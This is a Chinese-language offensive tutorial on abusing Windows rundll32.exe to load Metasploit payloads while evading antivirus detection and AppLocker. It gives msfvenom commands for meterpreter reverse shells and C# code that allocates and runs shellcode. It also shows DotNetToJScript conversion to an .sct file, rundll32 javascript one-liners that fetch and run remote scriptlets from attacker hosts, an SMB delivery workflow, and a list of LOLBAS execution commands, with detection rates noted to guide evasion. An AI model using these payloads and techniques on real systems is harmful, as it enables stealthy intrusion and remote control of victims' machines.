Rundll32.exe,可以执行32位的DLL文件,以命令行的方式调用动态链接程序库。。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样就实现了进程上的隐藏。系统中还有一个Rundll.exe文件,可以执行16位的DLL文件。
DLL文件对于Window的操作系统非常重要,它还决定了自定义Windows的其他程序的运行。动态链接库(DLL)文件是一种文件类型,它向其他程序提供有关如何调用某些内容的指令。因此,多个软件甚至可以同时共享这样的DLL文件。尽管与.exe文件的格式相同,但DLL文件不能像.exe文件那样直接执行。dll文件扩展名可以是:.dll(动态链接库)、.ocx(ActiveX控件)、.cpl(控制面板)、.drv(设备驱动程序)。
Rundll32.exe令行下的使用方法为:Rundll32.exe DLLname,Functionname
,需注意x86,x64位的Rundll32调用,64位的系统默认调用的是64位Rundll32.exe(在C:\Windows\System32目录下)。
Windows 7 默认位置:
64位 C:\Windows\System32\rundll32.exe
32位 C:\Windows\SysWOW64\rundll32.exe
使用Rundll32.exe加载payload主要依赖于你加载的payload所做的免杀,我这只是列出来Rundll32.exe的3个常用的场景,至于对dll或sct文件的免杀,则需要你自己去尝试了。
由于Rundll32.exe被各大杀软都盯的比较紧了,而加载payload的免杀测试需要杀软的行为检测才合理,静态查杀dll或者sct或者Rundll32.exe文件自身都没有任何意义,所以本文对Rundll32.exe的免杀效果不做衡量,以第一种sct文件的免杀率作为参考。
其实backlion大神已经介绍的非常全面了:https://www.cnblogs.com/backlion/p/10488747.html
,我这里就再复现一下,主要测一下免杀率。
这个生成sct费了不少功夫,之前看到亮神博客上提供了sct代码,https://micro8.gitbook.io/micro8/contents-1/81-90/81-ji-yu-bai-ming-dan-rundll32.exe-zhi-hang-payload-di-shi-yi-ji
,但之前也没太关注,以为就是shellcode做的base64编码,这次要复现出来才发现走了些弯路,期间还请教了Green-m
和haya
等师傅,才复现了这个sct加载。
1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x86的,注意这个要和后面rundll32的版本相一致。
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f csharp -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp
2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。
代码如下,把shell_x86.csharp
内容放到相应MsfPayload位置。
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();
}
public static void RunMSF()
{
byte[] MsfPayload = {
0xbb,---shellcode here---0x1e };
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
修改一下项目属性,设置启动对象为MSFWrapper
编译生成exe,我这生成的就是默认的ConsoleApp2.exe
3、将exe转换为脚本文件
这时候需要一个工具DotNetToJScript
官方github地址:https://github.com/tyranid/DotNetToJScript
我这有一个编译好的DotNetToJScript工具:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/DotNetToJScript.zip
,可以直接下载使用。
将上面生成的ConsoleApp2.exe
复制到DotNetToJScript目录下,执行命令生成msf_x86.sct
文件
DotNetToJScript.exe -m -o=msf_x86.sct -c=MSFWrapper.Program -v 4 -d ConsoleApp2.exe
看下msf_x86.sct
文件内容,发现和亮神博客上提供了sct代码是一样的。
4、将msf_x86.sct
文件放在自己的web服务器上,我的是http://10.211.55.2/msf_x86.sct
在msf中监听
然后在测试机执行
C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:http://10.211.55.2/msf_x86.sct")
发现火绒的行为检测会预警
火绒放行后可正常执行
msf正常上线
virustotal.com上msf_x86.sct
文件查杀率为22/58
Metasploit包含SMB Delivery模块,可生成恶意dll文件。该模块通过SMB服务器提供有效负载,并提供检索和执行生成的有效负载的命令。目前支持DLL和Powershell。
在msf中执行
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 10.211.55.24
msf exploit(windows/smb/smb_delivery) > exploit
在测试机器上执行
rundll32.exe \\10.211.55.24\MUsmJ\test.dll,0
发现360和火绒都会报警,不过360杀毒没有反应。
msf中可正常上线
virustotal.com上test.dll文件查杀率为61/69,没做免杀,肯定被查杀的很厉害。
利用msfvenom可以直接生成dll文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -e x86/shikata_ga_nai -i 15 -b '\x00' -f dll -o test.dll
然后将test.dll拷贝到测试机器上,在测试机上执行
rundll32 shell32.dll,Control_RunDLL c:\test\test.dll
发现360和火绒都会报警
msf中可正常上线
virustotal.com上test.dll文件查杀率为57/70,这种msf原生态的dll居然还有没查杀出来的..
参考自ATT&CK手册。
1)直接执行dll文件
rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa
rundll32.exe "C:\Windows\twain_64.dll",EntryPoint
2)调用系统中原生存在的dll中的未记录dll函数
2.1)调用shell32.dll函数执行控制面板项文件(.cpl)
rundll32 shell32.dll,Control_RunDLL <文件名>
control.exe test.cpl
2.2)Advpack.dll - LaunchINFSection
advpack.dll用于帮助硬件和软件读取和验证·INF文件。正如老话所说,”大部分安全问题本质就是功能被误用“,advpack.dll也可以被攻击者利用进行代码/指令代理执行,
rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
C:\\Windows\\System32\\rundll32 advpack.dll,LaunchINFSectionEx C:\\Windows\\system32\\ieuinit.inf,Install
Requires admin: No
Windows binary: Yes
Bypasses AppLocker Default rules: Yes
2.3)Advpack.dll - RegisterOCX
rundll32.exe advpack.dll,RegisterOCX calc.exe
Requires admin: No
Windows binary: Yes
Bypasses AppLocker Default rules: Yes
2.4)zipfldr.dll - RouteTheCall
rundll32.exe zipfldr.dll,RouteTheCall calc.exe
2.5)url.dll - OpenURL
rundll32 url.dll,OpenURL file://C:/Windows/system32/calc.exe
rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
rundll32.exe url.dll,OpenURL "C:\test\calc.url"
rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta
2.6)url.dll - FileProtocolHandler
rundll32.exe url.dll, FileProtocolHandler calc.exe
2.7)ieframe.dll - OpenURL
rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
2.8)shdocvw.dll - OpenURL
rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
2.9)ieadvpack.dll - LaunchINFSection
rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,
2.10)shell32.dll - ShellExec_RunDLL
rundll32.exe shell32.dll,ShellExec_RunDLL
C:\Windows\System32\calc.exe
2.11)pcwutl.dll - LaunchApplication
rundll32.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe
2.12)Setupapi.dll - InstallHinfSection
# Launch an executable file via the InstallHinfSection function and .inf file section directive.
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf
2.13)Syssetup.dll - SetupInfObjectInstallAction
# Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf
3)执行javascript脚本
rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://reverse-tcp.xyz/payload.sct");window.close();
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
使用rundll32.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10488747.html
免杀 MSF Windows Payload 的方法与实践:https://mp.weixin.qq.com/s/OxgJIIPaXMXqrY5lPdukdA
UltimateAppLockerByPassList:https://github.com/api0cradle/UltimateAppLockerByPassList/
LOLBAS:https://github.com/api0cradle/LOLBAS